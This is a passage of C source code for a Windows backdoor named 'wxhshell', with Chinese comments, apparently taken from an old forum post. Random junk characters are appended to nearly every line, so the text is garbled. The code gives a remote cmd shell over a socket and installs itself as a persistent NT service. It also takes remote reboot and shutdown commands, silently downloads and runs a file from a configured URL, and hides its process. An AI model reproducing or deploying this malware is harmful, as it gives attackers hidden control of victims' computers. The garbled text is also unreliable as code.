  case '?': { i},d[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;4l-M2  
    break; ^u3*hl}YKy  
  } 'frWu6]< 4  
  // 安装 q?(A!1(u  
  case 'i': { }M^_Z#|,  
    if(Install()) xUQdVrFU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z1kBNOr  
    else g ,`F<CF9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QjI#Cs}w  
    break; b/z'`?[  
    } _a fciyso  
  // 卸载 ijE<spG  
  case 'r': { CcBQo8!G  
    if(Uninstall())  ccRlql(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4@M`8  
    else J`4Z<b53  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :-(U%`a[  
    break; s%5Uj }  
    } j,\tejl1  
  // 显示 wxhshell 所在路径 '^8g9E .4K  
  case 'p': { K!9y+%01  
    char svExeFile[MAX_PATH]; 3'.! +#  
    strcpy(svExeFile,"\n\r"); nT_*EC<.  
      strcat(svExeFile,ExeFile); L^6"' #  
        send(wsh,svExeFile,strlen(svExeFile),0); p@vpd  
    break; " 98/HzR  
    } K1/ U (A  
  // 重启 uFz/PDOZ@  
  case 'b': { :wFb5"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fdN45in=>  
    if(Boot(REBOOT)) "&@gX_%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cLn;,u4  
    else { ;& RUE  
    closesocket(wsh); pi|\0lH6W  
    ExitThread(0); t#a.}Jl  
    } cZ6?P`X  
    break; b*cW<vX}~  
    } ,;9ak-$8p  
  // 关机 m"5{D*|  
  case 'd': { lQ+Ru8I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7F,07\c  
    if(Boot(SHUTDOWN)) ^cB49s+{e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); su,`q  
    else { , - QR  
    closesocket(wsh); dz{#"No0  
    ExitThread(0); Cq-hPa}2  
    } c]GQU  
    break; Lc58lV=  
    } P;^y|0N m  
  // 获取shell 8w03{H 0  
  case 's': { O 5g}2  
    CmdShell(wsh); SL6mNn9c  
    closesocket(wsh); 0PYvey }[  
    ExitThread(0); G%xb0%oi]%  
    break; 2O?Vr" A  
  } eLCdAr  
  // 退出 ll^Th >  
  case 'x': { =AWX +znP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sGXp}{E9  
    CloseIt(wsh); f1)HHUB  
    break; W/#KX}4  
    } Kl4isGcr]  
  // 离开 P]|J?$1K  
  case 'q': { y2oB]^z&n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1[26w_B3  
    closesocket(wsh); >`<Ued  
    WSACleanup(); K4iI:  
    exit(1); eKL]E!  
    break; 3Cq6h;!#  
        } ,O$Z,J4VL  
  } );0<Odw%.  
  } d\v$%0  
elN{7:  
  // 提示信息 9 yh9HE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N7d17c. 5  
} :({-0&&_  
  } }rO?5  
yTzY?  
  return; *rS9eej  
} 6Hc H'nmeN  
xnJjCEZ  
// shell模块句柄 aQz|!8Is  
int CmdShell(SOCKET sock) mgmWDtxN  
{ Ah6wU|_-g  
STARTUPINFO si; s/r5,IFR  
ZeroMemory(&si,sizeof(si)); %4?SY82  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZC3tbhV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <m?GJuQ'  
PROCESS_INFORMATION ProcessInfo; *LY~l  
char cmdline[]="cmd"; L!CX &  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uPa/,"p  
  return 0; F?*Dr  
} h$E\2lsE  
aK8bKlZe  
// 自身启动模式 Mfnlue](  
int StartFromService(void) ^VSt9 &  
{ yw;ghP;  
typedef struct UN cYu9[  
{ xI=}z  
  DWORD ExitStatus; $sU5=,  
  DWORD PebBaseAddress; utYnaeQcn  
  DWORD AffinityMask; P5'iYahCq_  
  DWORD BasePriority; XkMs   
  ULONG UniqueProcessId; t/l!KdY$  
  ULONG InheritedFromUniqueProcessId; FY 1},sq  
}   PROCESS_BASIC_INFORMATION;  ioE66-n  
+)/Rql(lY  
PROCNTQSIP NtQueryInformationProcess; v7s ]  
XNc"kp? z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A[sM{i~Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hQgk.$g  
pFpQ\xc9$  
  HANDLE             hProcess; kx"hWG4  
  PROCESS_BASIC_INFORMATION pbi; k#1`  
Jngll  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D8r>a"gx  
  if(NULL == hInst ) return 0; P<j4\zJ  
&{-oA_@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M/::`yJQu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #rn4 $  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (lyt"Ty  
@<@R=aqE  
  if (!NtQueryInformationProcess) return 0; %8}WX@SB  
ua]\xBWx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (SgEt  
  if(!hProcess) return 0; (PCimT=5  
|<|28~#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bo\a  
WUE)SVf  
  CloseHandle(hProcess); ^kCk^D-Gz  
-XS+Uv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KKx&UKjV  
if(hProcess==NULL) return 0; SR&(HH$  
#~bU}[{  
HMODULE hMod; Zu2m%=J`  
char procName[255]; J8sJ~FnUj  
unsigned long cbNeeded; J6*\>N5W  
{pcf;1^t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kj Lsk-  
H(5S Kv5  
  CloseHandle(hProcess); }aHB$}"!  
_~X8/p/Qh  
if(strstr(procName,"services")) return 1; // 以服务启动 B-y0;0  
E %wV  
  return 0; // 注册表启动 n9<roH  
} !(MA5L-  
Z^/z  
// 主模块 VYl_U?D  
int StartWxhshell(LPSTR lpCmdLine) bqw/O`*wfN  
{ /t$+Af,}  
  SOCKET wsl; htUy2v#V  
BOOL val=TRUE; h/0<:eZ*  
  int port=0; w%i+>\tO  
  struct sockaddr_in door; ~6@c]:  
D-TNFYYy2  
  if(wscfg.ws_autoins) Install(); 1=9qAp;?o  
r+{!@`dYi  
port=atoi(lpCmdLine); E"9/YWv  
B#qL$M,|  
if(port<=0) port=wscfg.ws_port; [M7iJcwt  
 |0C|$2  
  WSADATA data; Z`-)1!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^F0k2pB  
6i9Q ,4~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0UM@L }L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K^z5x#Yj  
  door.sin_family = AF_INET; Y0P}KPD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bl:a&<F  
  door.sin_port = htons(port); ~cO?S2!W  
9}%~w(P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |kBg8).B  
closesocket(wsl); r)9i1rI+  
return 1; N27K  
} {a+Fx}W  
bGMeBj"R  
  if(listen(wsl,2) == INVALID_SOCKET) { 7.lK$J:  
closesocket(wsl); 8 7|8eU2:k  
return 1; O" X!S_R  
} CO:m]oj  
  Wxhshell(wsl); bBeFL~  
  WSACleanup(); mR" 2  
M\Uc;:) H  
return 0; 2HvTM8  
+H)!uLva B  
} V',m $   
^td!g1"<  
// 以NT服务方式启动 jt'Y(u]2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Azq#}Oe)u  
{ d!}jdt5%  
DWORD   status = 0; xVHQ[I%  
  DWORD   specificError = 0xfffffff; fJF8/IQ4  
vjs|!O=oH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pq{YZMr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 26('V `N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,{`o/F/  
  serviceStatus.dwWin32ExitCode     = 0; &geOFe}R  
  serviceStatus.dwServiceSpecificExitCode = 0; a!^-~pH:  
  serviceStatus.dwCheckPoint       = 0; tvj'{W  
  serviceStatus.dwWaitHint       = 0; j-I6QUd  
/\3XARt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3-9J "d !  
  if (hServiceStatusHandle==0) return; |$.sB|_ N  
ZaNyNxbp>z  
status = GetLastError(); 5Re`D|8  
  if (status!=NO_ERROR) R uFu,H-  
{ U47k5s(J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %T,\xZ  
    serviceStatus.dwCheckPoint       = 0; %`s9yRk9>E  
    serviceStatus.dwWaitHint       = 0; ,h wf  
    serviceStatus.dwWin32ExitCode     = status; ',J%Mv>Yf  
    serviceStatus.dwServiceSpecificExitCode = specificError; -?%{A%'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M$>WmG1~D  
    return; 1^WA  
  } QX.F1T 2e?  
t;e]L'z@:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; of[|b{Ze4~  
  serviceStatus.dwCheckPoint       = 0; ( 7Ca\H3$  
  serviceStatus.dwWaitHint       = 0; 1CS]~1Yp:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PTI'N%W  
} vU \w3  
AP?{N:+  
// 处理NT服务事件,比如:启动、停止 F"@'(b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3$kv%uf{  
{ x9&tlKKxf  
switch(fdwControl) V)?x*R*T)  
{ 9TXm Z  
case SERVICE_CONTROL_STOP: cVP49r}}v  
  serviceStatus.dwWin32ExitCode = 0; |$|nV^y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *2m&?,nJ  
  serviceStatus.dwCheckPoint   = 0; b]s1Q ]V  
  serviceStatus.dwWaitHint     = 0; `X.=uG+m  
  { v-r[~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ("P mB?20  
  } u UVV>An  
  return; v\?\(Y55Y  
case SERVICE_CONTROL_PAUSE: c;t(j'k`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eed\0  
  break; ! 4^L $  
case SERVICE_CONTROL_CONTINUE: %BYlbEx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yS.fe[  
  break; lA^Kh  
case SERVICE_CONTROL_INTERROGATE: Kj<<&_B.H  
  break; n'ca*E(  
}; ->"h5h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gU 2c--`  
} d8BK/b  
KJvJUq  
// 标准应用程序主函数 -I$txa/"|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q@RY.&mgW  
{ O,xAu}6f+  
KxTYc  
// 获取操作系统版本 - 5-SlQu  
OsIsNt=GetOsVer(); 3_1Io+uXk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M:Y!k<p  
YT 03>!B  
  // 从命令行安装 '`goy%Wd  
  if(strpbrk(lpCmdLine,"iI")) Install(); CK`3   
}yC,uEV  
  // 下载执行文件 ,w58n%)H  
if(wscfg.ws_downexe) { kV(DnZ#jq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I#6' NZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); >0;"qT  
} j n&9<"W  
m+gG &`&u  
if(!OsIsNt) { %Pvb>U(Xs  
// 如果时win9x,隐藏进程并且设置为注册表启动 !\k#{ 1[!  
HideProc(); y88}f&z#5  
StartWxhshell(lpCmdLine); {ZIFj.2  
} Mp @(/  
else :~A1Ud4c  
  if(StartFromService()) hr}R,BR|  
  // 以服务方式启动 Ef*.}gcU  
  StartServiceCtrlDispatcher(DispatchTable); -{amzyvLE  
else me`$5Z`  
  // 普通方式启动 ?28GQyk4  
  StartWxhshell(lpCmdLine); >dC(~j{  
q2U"k  
return 0; R^O)fL0_  
}
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只看该作者 1 发表于: 2006-10-10
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